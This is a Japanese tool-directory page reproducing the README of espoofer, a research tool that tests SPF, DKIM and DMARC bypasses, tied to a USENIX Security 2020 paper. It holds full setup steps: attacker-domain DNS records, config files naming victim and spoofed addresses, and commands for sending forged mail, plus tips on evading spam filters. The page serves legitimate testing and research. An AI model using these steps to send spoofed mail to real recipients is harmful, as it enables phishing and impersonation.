Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
espoofer — SPF/DKIM/DMARCをバイパスし、DKIM署名を偽造することを目的としたメールなりすましテストツール。🍻 | Kitploit
ツール/GitHubGitHub/chenjj/espoofer
フィッシングツール脆弱性分析ペネトレーションテスト論文と研究学習と教育メールセキュリティ
GitHubchenjj/espoofer

espoofer

SPF/DKIM/DMARCをバイパスし、DKIM署名を偽造することを目的としたメールなりすましテストツール。🍻

リポジトリを見る
1.7k2814年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

espoofer

espooferは、メールシステムにおけるSPF、DKIM、DMARC認証をバイパスするためのオープンソーステストツールです。メールサーバ管理者やペネトレーションテスターが、対象のメールサーバやクライアントがメールなりすまし攻撃に対して脆弱であるかどうか、またはなりすましメールの送信に悪用される可能性があるかどうかを確認するのに役立ちます。


図1. Gmailに対するなりすまし攻撃の事例(修正済み、デモ動画)

なぜこのツールを作ったのか?

メールなりすましは、個人と組織の両方にとって大きな脅威です(Yahooの情報漏洩、John podesta)。この問題に対処するため、現代のメールサービスやウェブサイトはSPF、DKIM、DMARCといった認証プロトコルを採用し、メールの偽造を防止しています。

私たちの最新の研究によると、これらのプロトコルの実装には多数のセキュリティ上の問題があり、SPF/DKIM/DMARC保護をバイパスするために悪用される可能性があります。図1は、GmailにおけるDKIMとDMARCをバイパスするなりすまし攻撃の一例を示しています。詳細な技術情報については、Black Hat USA 2020の講演(プレゼンテーション動画付き)またはUSENIX Security 2020の論文をご参照ください。

  • Black Hat USA 2020スライド(PDF):You have No Idea Who Sent that Email: 18 Attacks on Email Sender Authentication
  • USENIX Security 2020論文(PDF):Composition Kills: A Case Study of Email Sender Authentication
    • Distinguished Paper Award Winner

このリポジトリでは、見つけたすべてのテストケースをまとめ、管理者やセキュリティ実務者がこれらのセキュリティ問題を迅速に特定・特定できるように、このツールに統合しています。

学術研究を行う場合は、以下の引用をご使用ください(クリックして開く)。

Latex版:

root@kitploit:~
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}

Word版:

Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.

インストール

  • ツールのダウンロード
root@kitploit:~
git clone https://github.com/chenjj/espoofer
  • 依存関係のインストール
root@kitploit:~
sudo pip3 install -r requirements.txt

Pythonバージョン: Python 3 (>=3.7).

使用方法

espooferには3つの動作モードがあります:サーバ('s'、デフォルトモード)、クライアント('c')、および手動('m')です。サーバモードでは、espooferはメールサーバのように動作し、受信サービスの検証をテストします。クライアントモードでは、espooferはメールクライアントのように動作し、送信サービスの検証をテストします。手動モードはデバッグ目的で使用します。


図2. 3種類の攻撃者とその動作モード

サーバモード

サーバモードでespooferを実行するには、以下のものが必要です:1) 送信ポート25がISPによってブロックされていないIPアドレス(1.2.3.4)、2) ドメイン(attack.com)。

  1. ドメイン設定
  • attack.comのDKIM公開鍵を設定
root@kitploit:~
selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
  • attack.comのSPFレコードを設定
root@kitploit:~
attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
  1. config.pyでツールを設定
root@kitploit:~
config ={
	"attacker_site": b"attack.com", # attack.com
	"legitimate_site_address": b"[email protected]", # legitimate.com
	"victim_address": b"[email protected]", # [email protected]
	"case_id": b"server_a1", # server_a1
}

-lオプションを使用して、すべてのテストケースのcase_idを一覧表示できます:

root@kitploit:~
python3 espoofer.py -l
  1. ツールを実行してなりすましメールを送信
root@kitploit:~
python3 espoofer.py

config.pyでcase_idを変更するか、コマンドラインで-idオプションを使用して異なるケースをテストできます:

root@kitploit:~
python3 espoofer.py -id server_a1

クライアントモード

クライアントモードでespooferを実行するには、対象のメールサービスにアカウントが必要です。この攻撃は、一部のメールサービスがローカルMUAから受信したメールに対して十分な検証を行わないという欠陥を悪用します。例えば、[email protected]が[email protected]になりすます場合などです。

  1. config.pyでツールを設定
root@kitploit:~
config ={
	"legitimate_site_address": b"[email protected]",  
	"victim_address": b"[email protected]", 
	"case_id": b"client_a1",

	"client_mode": {
		"sending_server": ("smtp.gmail.com", 587),  # SMTP送信サーバのIPとポート
		"username": b"[email protected]", # アカウントのユーザー名とパスワード
		"password": b"your_passward_here",
	},
}

-lオプションを使用して、すべてのテストケースのcase_idを一覧表示できます:

root@kitploit:~
python3 espoofer.py -l

注:sending_serverはSMTP送信サーバのアドレスであり、受信サーバのアドレスではありません。

  1. ツールを実行してなりすましメールを送信
root@kitploit:~
python3 espoofer.py -m c

config.pyでcase_idを変更して再度実行するか、コマンドラインで-idオプションを使用できます:

root@kitploit:~
python3 espoofer.py -m c -id client_a1

手動モード

手動モードの例:

root@kitploit:~
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25

スクリーンショット

  1. テストケースの概要

このツールで見つかったバグ

  • Gmail.com DMARCバイパスデモ動画, https://youtu.be/xuKZpT0rsd0
  • Outlook.com DMARCバイパス動画, https://youtu.be/IsWgAEbPaK0
  • Yahoo.com DMARCバイパス動画, https://youtu.be/DRepfStOruE
  • Protonmail.com DMARCバイパス動画, https://youtu.be/bh4_SoPniMA
  • CVE-2020-12272, OpenDMARCバイパスバグ報告, https://sourceforge.net/p/opendmarc/tickets/237/
  • CVE-2019-20790, OpenDMARCおよびpypolicyd-spfバイパスバグ報告, https://sourceforge.net/p/opendmarc/tickets/235/
  • Mail.ru DMARCバイパスバグ報告(HackerOne), https://hackerone.com/reports/731878

バグ報告はプルリクエストでお送りください。

Q&A

  1. メールがDMARC認証を正常にバイパスしたかどうかを確認するにはどうすればよいですか?

生のメッセージヘッダーのAuthentication-resultsヘッダーを確認してください。ヘッダーにdmarc=passと表示されていれば、メールはDMARC認証を通過したことを意味します。デモ動画はこちらでご覧いただけます。

  1. メールの送信に失敗するのはなぜですか?

メール送信に失敗する場合、いくつかの考えられる理由があります:1) スパム防止のためISPがポート25への送信をブロックしている。この場合、ISPに許可を求める必要があります。2) 対象のメールサービスのスパムリストにIPアドレスが含まれている。多くの場合、https://www.spamhaus.org/lookup/ で問題を解決できます。3) 一部のメールサービスは送信IPのPTRレコードをチェックするため、このチェックを通過するためにPTRレコードを設定する必要がある場合もあります。4) 対象のメールサービスのフォーマット検証を通過できない場合、別のテストケースを試してみるとよいでしょう。

  1. メールがスパムフォルダに入ってしまうのはなぜですか?回避する方法はありますか?

現在、espooferはSPF/DKIM/DMARC認証のバイパスに焦点を当てており、スパムフィルターのバイパスを目的としていません。ただし、評判の良い送信IPアドレス、ドメイン、および無害なメッセージ内容を使用してスパムフィルターを回避することは可能かもしれません。

  1. メールは正常に送信できたのに、受信箱にもスパムフォルダにもメールが表示されないのはなぜですか?

私たちの過去の経験では、一部のメールサービスは不審なメールを静かにフィルタリングすることがあります。

  1. server_a5/a6をテストするとき、ドメインに"("のような特殊文字を設定できないのはなぜですか?

サードパーティのDNSホスティングサービスでは特殊文字の設定に制限がある場合があるため、独自の権威DNSサーバを設定する必要があります。詳細はissueをご参照ください。

クレジット

さらなるテストケースの追加を歓迎します。

ツールをダウンロード